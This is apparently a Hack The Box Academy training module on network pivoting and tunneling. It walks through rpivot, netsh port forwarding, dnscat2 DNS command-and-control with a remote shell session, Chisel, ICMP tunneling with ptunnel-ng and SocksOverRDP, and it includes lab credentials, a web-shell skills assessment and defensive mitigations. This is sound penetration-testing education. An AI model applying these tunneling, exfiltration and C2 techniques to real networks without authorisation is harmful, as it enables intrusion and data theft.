NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.15s elapsed
Initiating Connect Scan at 11:16
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 11:16, 2.00s elapsed (1 total ports)
Initiating Service scan at 11:16
NSE: Script scanning 172.16.5.19.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Nmap scan report for 172.16.5.19
Host is up.
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
SSH to the target with user " ubuntu " and password " HTB_@cademy_stdnt! "
Rpivot is a reverse SOCKS proxy tool written in Python for SOCKS tunneling. Rpivot binds a
machine inside a corporate network to an external server and exposes the client's local port
on the server-side. We will take the scenario below, where we have a web server on our
internal network ( 172.16.5.135 ), and we want to access that using the rpivot proxy.
We can start our rpivot SOCKS proxy server using the below command to allow the client to
connect on port 9999 and listen on port 9050 for proxy pivot connections.
Cloning rpivot
Installing Python2.7
We can start our rpivot SOCKS proxy server to connect to our client on the compromised
Ubuntu server using server.py .
We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack
host, which was initially started by the Python server.
Finally, we should be able to access the webserver on our server-side, which is hosted on
the internal network of 172.16.5.0/23 at 172.16.5.135:80 using proxychains and Firefox.
Netsh is a Windows command-line tool that can help with the network configuration of a
particular Windows system. Here are just some of the networking related tasks we can use
Netsh for:
Finding routes
Viewing the firewall configuration
Adding proxies
Creating port forwarding rules
Let's take an example of the below scenario where our compromised host is a Windows 10-
based IT admin's workstation ( 10.129.15.150 , 172.16.5.25 ). Keep in mind that it is
possible on an engagement that we may gain access to an employee's workstation through
methods such as social engineering and phishing. This would allow us to pivot further from
within the network the workstation is in.
We can use netsh.exe to forward all data received on a specific port (say 8080) to a
remote host on a remote port. This can be performed using the below command.
After configuring the portproxy on our Windows-based pivot host, we will try to connect to
the 8080 port of this host from our attack host using xfreerdp. Once a request is sent from
our attack host, the Windows host will route our traffic according to the proxy settings
configured by netsh.exe.
Dnscat2 is a tunneling tool that uses DNS protocol to send data between two hosts. It uses
an encrypted Command-&-Control ( C&C or C2 ) channel and sends data inside TXT
records within the DNS protocol. Usually, every active directory domain environment in a
corporate network will have its own DNS server, which will resolve hostnames to IP
addresses and route the traffic to external DNS servers participating in the overarching DNS
system. However, with dnscat2, the address resolution is requested from an external server.
When a local DNS server tries to resolve an address, data is exfiltrated and sent over the
network instead of a legitimate DNS request. Dnscat2 can be an extremely stealthy
approach to exfiltrate data while evading firewall detections which strip the HTTPS
connections and sniff the traffic. For our testing example, we can use dnscat2 server on our
attack host, and execute the dnscat2 client on another Windows host.
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
We can then start the dnscat2 server by executing the dnscat2 file.
After running the server, it will provide us the secret key, which we will have to provide to our
dnscat2 client on the Windows host so that it can authenticate and encrypt the data that is
sent to our external dnscat2 server. We can use the client with the dnscat2 project or use
dnscat2-powershell, a dnscat2 compatible PowerShell-based client that we can run from
Windows targets to establish a tunnel with our dnscat2 server. We can clone the project
containing the client file to our attack host, then transfer it to the target.
Cloning dnscat2-powershell to the Attack Host
Once the dnscat2.ps1 file is on the target we can import it and run associated cmd-lets.
Importing dnscat2.ps1
After dnscat2.ps1 is imported, we can use it to establish a tunnel with the server running on
our attack host. We can send back a CMD shell session to our server.
We must use the pre-shared secret ( -PreSharedSecret ) generated on the server to ensure
our session is established and encrypted. If all steps are completed successfully, we will see
a session established with our server.
dnscat2>
We can list the options we have with dnscat2 by entering ? at the prompt.
dnscat2> ?
We can use dnscat2 to interact with sessions and move further in a target environment on
engagements. We will not cover all possibilities with dnscat2 in this module, but it is strongly
encouraged to practice with it and maybe even find creative ways to use it on an
engagement. Let's interact with our established session and drop into a shell.
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
C:\Windows\system32>
exec (OFFICEMANAGER) 1>
Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data
that is secured using SSH. Chisel can create a client-server tunnel connection in a firewall
restricted environment. Let us consider a scenario where we have to tunnel our traffic to a
webserver on the 172.16.5.0 / 23 network (internal network). We have the Domain
Controller with the address 172.16.5.19 . This is not directly accessible to our attack host
since our attack host and the domain controller belong to different network segments.
However, since we have compromised the Ubuntu server, we can start a Chisel server on it
that will listen on a specific port and forward our traffic to the internal network through the
established tunnel.
Cloning Chisel
We will need the programming language Go installed on our system to build the Chisel
binary. With Go installed on the system, we can move into that directory and use go build
to build the Chisel binary.
cd chisel
go build
It can be helpful to be mindful of the size of the files we transfer onto targets on our client's
networks, not just for performance reasons but also considering detection. Two beneficial
resources to complement this particular concept are Oxdf's blog post " Tunneling with Chisel
and SSF" and IppSec's walkthrough of the box Reddish . IppSec starts his explanation of
Chisel, building the binary and shrinking the size of the binary at the 24:29 mark of his video.
Once the binary is built, we can use SCP to transfer it to the target pivot host.
The Chisel listener will listen for incoming connections on port 1234 using SOCKS5 ( --
socks5 ) and forward it to all the networks that are accessible from the pivot host. In our
case, the pivot host has an interface on the 172.16.5.0/23 network, which will allow us to
reach hosts on that network.
We can start a client on our attack host and connect to the Chisel server.
As you can see in the above output, the Chisel client has created a TCP/UDP tunnel via
HTTP secured using SSH between the Chisel server and the client and has started listening
on port 1080. Now we can modify our proxychains.conf file located at
/etc/proxychains.conf and add 1080 port at the end so we can use proxychains to pivot
using the created tunnel between the 1080 port and the SSH tunnel.
We can use any text editor we would like to edit the proxychains.conf file, then confirm our
configuration changes using tail .
tail -f /etc/proxychains.conf
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Now if we use proxychains with RDP, we can connect to the DC on the internal network
through the tunnel we have created to the Pivot host.
Pivoting to the DC
When the Chisel server has --reverse enabled, remotes can be prefixed with R to denote
reversed. The server will listen and accept connections, and they will be proxied through the
client, which specified the remote. Reverse remotes specifying R:socks will listen on the
server's default socks port (1080) and terminate the connection at the client's internal
SOCKS5 proxy.
We'll start the server in our attack host with the option --reverse .
Then we connect from the Ubuntu (pivot host) to our attack host, using the option R:socks
We can use any editor we would like to edit the proxychains.conf file, then confirm our
configuration changes using tail .
tail -f /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
If we use proxychains with RDP, we can connect to the DC on the internal network through
the tunnel we have created to the Pivot host.
Note: If you are getting an error message with chisel on the target, try with a different
version.
ICMP tunneling encapsulates your traffic within ICMP packets containing echo requests
and responses . ICMP tunneling would only work when ping responses are permitted within
a firewalled network. When a host within a firewalled network is allowed to ping an external
server, it can encapsulate its traffic within the ping echo request and send it to an external
server. The external server can validate this traffic and send an appropriate response, which
is extremely useful for data exfiltration and creating pivot tunnels to an external server.
We will use the ptunnel-ng tool to create a tunnel between our Ubuntu server and our attack
host. Once a tunnel is created, we will be able to proxy our traffic through the ptunnel-ng
client . We can start the ptunnel-ng server on the target pivot host. Let's start by setting
up ptunnel-ng.
Cloning Ptunnel-ng
Once the ptunnel-ng repo is cloned to our attack host, we can run the autogen.sh script
located at the root of the ptunnel-ng directory.
sudo ./autogen.sh
After running autogen.sh, ptunnel-ng can be used from the client and server-side. We will
now need to transfer the repo from our attack host to the target host. As in previous sections,
we can use SCP to transfer the files. If we want to transfer the entire repo and the files
contained inside, we will need to use the -r option with SCP.
With ptunnel-ng on the target host, we can start the server-side of the ICMP tunnel using the
command directly below.
Starting the ptunnel-ng Server on the Target Host
The IP address following -r should be the IP we want ptunnel-ng to accept connections on.
In this case, whatever IP is reachable from our attack host would be what we would use. We
would benefit from using this same thinking & consideration during an actual engagement.
Back on the attack host, we can attempt to connect to the ptunnel-ng server ( -p
<ipAddressofTarget> ) but ensure this happens through local port 2222 ( -l2222 ).
Connecting through local port 2222 allows us to send traffic through the ICMP tunnel.
With the ptunnel-ng ICMP tunnel successfully established, we can attempt to connect to the
target using SSH through local port 2222 ( -p2222 ).
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
https://ubuntu.com/blog/microk8s-memory-optimisation
If configured correctly, we will be able to enter credentials and have an SSH session all
through the ICMP tunnel.
On the client & server side of the connection, we will notice ptunnel-ng gives us session logs
and traffic statistics associated with the traffic that passes through the ICMP tunnel. This is
one way we can confirm that our traffic is passing from client to server utilizing ICMP.
We could use proxychains with Nmap to scan targets on the internal network (172.16.5.x).
Based on our discoveries, we can attempt to connect to the target.
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 11:10 EDT
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Nmap scan report for 172.16.5.19
Host is up (0.12s latency).
In the second part of this clip, a connection is established over SSH using ICMP tunneling.
Notice the type of traffic that is captured when this is performed.
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
Note: Consider the versions of GLIBC, make sure you are on par with the one on the target.
There are often times during an assessment when we may be limited to a Windows network
and may not be able to use SSH for pivoting. We would have to use tools available for
Windows operating systems in these cases. SocksOverRDP is an example of a tool that
uses Dynamic Virtual Channels ( DVC ) from the Remote Desktop Service feature of
Windows. DVC is responsible for tunneling packets over the RDP connection. Some
examples of usage of this feature would be clipboard data transfer and audio sharing.
However, this feature can also be used to tunnel arbitrary packets over the network. We can
use SocksOverRDP to tunnel our custom packets and then proxy through it. We will use the
tool Proxifier as our proxy server.
We can start by downloading the appropriate binaries to our attack host to perform this
attack. Having the binaries on our attack host will allow us to transfer them to each target
where needed. We will need:
We can then connect to the target using xfreerdp and copy the SocksOverRDPx64.zip file to
the target. From the Windows target, we will then need to load the SocksOverRDP.dll using
regsvr32.exe.
Now we can connect to 172.16.5.19 over RDP using mstsc.exe , and we should receive a
prompt that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080. We
can use the credentials victor:pass@123 to connect to 172.16.5.19.
We will need to transfer SocksOverRDPx64.zip or just the SocksOverRDP-Server.exe to
172.16.5.19. We can then start SocksOverRDP-Server.exe with Admin privileges.
When we go back to our foothold target and check with Netstat, we should see our SOCKS
listener started on 127.0.0.1:1080.
After starting our listener, we can transfer Proxifier portable to the Windows 10 target (on the
10.129.x.x network), and configure it to forward all our packets to 127.0.0.1:1080. Proxifier
will route traffic through the given host and port. See the clip below for a quick walkthrough
of configuring Proxifier.
Configuring Proxifier
With Proxifier configured and running, we can start mstsc.exe, and it will use Proxifier to
pivot all our traffic via 127.0.0.1:1080, which will tunnel it over RDP to 172.16.5.19, which will
then route it to 172.16.6.155 using SocksOverRDP-server.exe.
RDP Performance Considerations
When interacting with our RDP sessions on an engagement, we may find ourselves
contending with slow performance in a given session, especially if we are managing multiple
RDP sessions simultaneously. If this is the case, we can access the Experience tab in
mstsc.exe and set Performance to Modem .
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
Skills Assessment
Scenario
A team member started a Penetration Test against the Inlanefreight environment but was
moved to another project at the last minute. Luckily for us, they left a web shell in place for
us to get back into the network so we can pick up where they left off. We need to leverage
the web shell to continue enumerating the hosts, identifying common services, and using
those services/protocols to pivot into the internal networks of Inlanefreight. Our detailed
objectives are below :
Objectives
Start from external ( Pwnbox or your own VM ) and access the first system via the web
shell left in place.
Use the web shell access to enumerate and pivot to an internal host.
Continue enumeration and pivoting until you reach the Inlanefreight Domain
Controller and capture the associated flag .
Use any data , credentials , scripts , or other information within the environment to
enable your pivoting attempts.
Grab any/all flags that can be found.
Note:
Keep in mind the tools and tactics you practiced throughout this module. Each one can
provide a different route into the next pivot point. You may find a hop to be straightforward
from one set of hosts, but that same tactic may not work to get you to the next. While
completing this skills assessment, we encourage you to take proper notes, draw out a map
of what you know of already, and plan out your next hop. Trying to do it on the fly will prove
difficult without having a visual to reference.
Connection Info
Foothold :
IP :
You will find the web shell pictured below when you browse to support.inlanefreight.local or
the target IP above.
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
Throughout this module, we have mastered several different techniques that can be used
from an offensive perspective . As penetration testers, we should also be concerned with
the mitigations and detections that can be put in place to aid defenders in stopping these
types of TTP's. This is crucial since we are expected to provide our customers with potential
fixes or solutions to the issues we find and exploit during our assessments. Some may be:
This section will cover some of these fixes and what they mean for us and those in charge of
defending the network.
Setting a Baseline
Understanding everything present and happening in a network environment is vital. As
defenders, we should be able to quickly identify and investigate any new hosts that
appear in our network, any new tools or applications that get installed on hosts outside of our
application catalog, and any new or unique network traffic generated. An audit of everything
listed below should be done annually, if not every few months, to ensure your records are up
to date. Among some of the considerations we can start with are:
Along with tracking the items above, keeping a visual network diagram of your environment
up-to-date can be highly effective when troubleshooting issues or responding to an incident.
Netbrain is an excellent example of one tool that can provide this functionality and interactive
access to all appliances in the diagram. If we want a way to document our network
environment visually, we can use a free tool like diagrams.net. Lastly, for our baseline,
understanding what assets are critical to the operation of your organization and monitoring
those assets is a must.
People
In even the most hardened environment, users are often considered the weakest link.
Enforcing security best practices for standard users and administrators will prevent "easy
wins" for pentesters and malicious attackers. We should also strive to keep ourselves and
the users we serve educated and aware of threats. The measures below are a great way to
begin the process of securing the human element of any enterprise environment.
Scenario: Nick is a hardworking and dedicated logistics manager for Inlanefreight. He has
put in a lot of great work over the years, and the company trusts him enough to allow him to
work from home three days out of the week. Like many Inlanefreight employees, Nick also
takes advantage of Inlanefreight's willingness to allow employees to use their own devices
for work-related tasks at home and in the office network environments. Nick also enjoys
gaming and sometimes illegally torrents video games. One game he downloaded and
installed also installed malware that gave an attacker remote access to his laptop. When
Nick goes into the office, he connects to the WiFi network that extends access to the
employee network. Anyone can reach the Domain Controllers, File Shares, printers, and
other important network resources from this network. Because there is malware on Nick's
system, the attacker also has access to these network resources and can attempt to pivot
across Inlanefreight's network due to Nick's bad security practices on his personal computer.
Along with ensuring your users cannot cause harm, we should consider our policies and
procedures for domain access and control. Larger organizations should also consider
building a Security Operation Center (SOC) team or use a SOC as a Service to constantly
monitor what is happening within the IT environment 24/7. Modern defensive technologies
have come a long way and can help with many different defensive tactics, but we need
human operators to ensure they function as they are supposed to. Incident response is
something where we can't yet completely automate out the human element. So having a
proper incident response plan ready is essential to be prepared for a breach.
Processes
Maintaining and enforcing policies and procedures can significantly impact an organization's
overall security posture. It is near impossible to hold an organization's employees
accountable without defined policies. It makes it challenging to respond to an incident
without defined and practiced procedures such as a disaster recovery plan . The items
below can help to start defining an organization's processes , policies , and procedures
relating to securing their users & network environment.
Technology
Periodically check the network for legacy misconfigurations and new & emerging threats. As
changes are made to an environment, ensure that common misconfigurations are not
introduced while paying attention to any vulnerabilities introduced by tools or applications
utilized in the environment. If possible, attempt to patch or mitigate those risks with the
understanding that the CIA triad is a balancing act, and the acceptance of the risk a
vulnerability presents may be the best option for your environment.
Perimeter First
When considering these questions regarding the perimeter, we may face the reality that an
organization has infrastructure that could be based on premises &/or in the cloud. Most
organizations in the modern day operate hybrid-cloud infrastructures. This means some of
the technologies used by organizations may be running on network & server infrastructure
owned by the organization, and some may be hosted by a 3rd party cloud provider (AWS,
Azure, GCP, etc.).
Internal Considerations
Many of the questions we ask for external considerations apply to our internal environment.
There are a few differences; however, there are many different routes for ensuring the
successful defense of our networks. Let's consider the following:
Are any hosts that require exposure to the internet properly hardened and
placed in a DMZ network?
Are we using Intrusion Detection and Prevention systems within our
environment?
How are our networks configured? Are different teams confined to their
own network segments?
Do we have separate networks for production and management networks?
How are we tracking approved employees who have remote access to
admin/management networks?
How are we correlating the data we are receiving from our infrastructure
defenses and end-points?
Are we utilizing host-based IDS, IPS, and event logs?
Our best chance of spotting, stopping, and potentially even preventing an attack often
depends on our ability to maintain visibility within our environment. A proper SIEM
implementation to correlate and analyze our host and infrastructure logs can go a long way.
Combine that with adequate network segmentation, and it becomes infinitely more
challenging for an attacker to gain a foothold and pivot to targets. Simple things like ensuring
Steve from HR cannot view or access network infrastructure such as switches and routers or
admin panels for internal websites can prevent the use of standard users for lateral
movement.
MITRE Breakdown
As a different look at this, we have broken down the major actions we practice in this module
and mapped controls based on the TTP and a MITRE tag. Each tag corresponds with a
section of the Enterprise ATT&CK Matrix found here. Any tag marked as TA corresponds to
an overarching tactic, while a tag marked as T### is a technique found in the matrix under
tactics.
Real World
As a Penetration Tester, one could expect the tasks undertaken in this module to be
everyday tasks assigned to us during our day-to-day duties. Sometimes under direct
guidance and supervision, sometimes not depending on our skill level. Having a deep
understanding of Pivoting , Tunneling , Port Forwarding , Lateral Movement and the
tools/techniques needed to perform these actions is essential for accomplishing our
mission. Our actions can and probably will often influence the actions of our teammates and
more senior testers since they may be basing their next steps on our results if we are
working jointly on an assessment.
Utilizing tunnels and pivot points we set up to perform additional exploitation and
lateral movement .
Implanting persistence mechanisms in each subnet to ensure continued access.
Command & Control inside and throughout enterprise environments.
Utilizing our tunnels for security control bypass when bringing tools in and
exfiltrating data.
Having a firm grasp of networking concepts and how pivoting and tunneling functions is a
core skill for any pentester or defender. If any of the concepts, terminology, or actions
discussed in this module were a bit challenging or confusing, consider going back and
checking out the Introduction to Networking module. It provides us with a solid foundation in
Networking concepts such as subnetting, layer 2-3 technologies, tools, and common
addressing mechanisms.
What's Next?
To better understand Active Directory and how to use our new skills in enterprise pentesting,
check out the Introduction to Active Directory and Active Directory Enumeration and Attacks
module. The Shells and Payloads module can help us improve our exploitation skills and
give us better insight into the payloads we create and use in a target network. If the
webserver shells and pivots portions in this module were difficult, checking out the
Introduction to Web Applications and File Upload Attacks modules can clarify those topics for
us. Don't discount the fantastic challenge that Starting Point is. These can be great ways to
practice applying the skills you learn in this module and other modules on Academy to
challenges on Hack The Box's main platform.
Boxes To Pwn
Ippsec has recorded videos explaining the paths through many of these boxes. As a
resource, Ippsec's site is a great resource to search for videos and write-ups pertaining to
many different subjects. Check out his videos and write-ups if you get stuck or want a great
primer dealing with Active Directory and wish to see how some of the tools work.
ProLabs
Pro Labs are large simulated corporate networks that teach skills applicable to real-life
penetration testing engagements. The Dante Pro Lab is an excellent place to practice
chaining our pivoting skills together with other enterprise attack knowledge. The Offshore
and RastaLabs Pro Labs are intermediate-level labs that contain a wealth of opportunities
for practicing pivoting through networks.
Head HERE to check out all the Pro Labs that HTB has to offer.
Endgames
For an extreme challenge that may take you a while to get through, check out the Ascension
Endgames. This endgame features two different AD domains and has plenty of chances to
practice our AD enumeration and attacking skills.
Writers/Educational Creators and Blogs To Follow
Between the HTB Discord , Forums , and blogs , there are plenty of outstanding write-ups
to help advance your skills along the way. One to pay attention to would be 0xdf's
walkthroughs. His blog is a great resource to help us understand how the tools, tactics, and
concepts we are learning tie together into a holistic attack path. The list below contains links
to other authors and blogs we feel do a great job discussing Information Security topics.
SpecterOps has written a great post covering SSH Tunneling and the use of proxies over a
multitude of protocols. It's a must-read for anyone looking to know more about the subject
and would make a handy resource to have during an engagement.
The HTB Blog is, of course, a great place to read up on current threats, how-to's for popular
TTPs, and more.
SANS puts out plenty of great infosec related information and webcasts like the one linked
here are a great example of that. This will cover many different Pivoting tools and avenues of
use.
Plaintext's Pivoting Workshop is an incredible workshop that our very own Academy Training
Developer, Plaintext, put together to help prepare players for Cyber Apocalypse CTF 2022.
The workshop is delivered in an engaging & entertaining manner, and viewers will benefit
from it for years to come. Check it out if you get the chance.
Closing Thoughts
Congratulations on completing this module, and we at HTB know you have learned some
new skills to use during your journey into the world of Cyber Security. Pivoting,
Tunneling, and Port Forwarding are foundational concepts that should be in every
pentesters toolbox.
As a defender, knowing how to spot when a host is compromised and being used as a pivot
point or if traffic is being tunneled through a non-standard route is crucial. Keep practicing
and leveling up your skillset. Happy Hacking!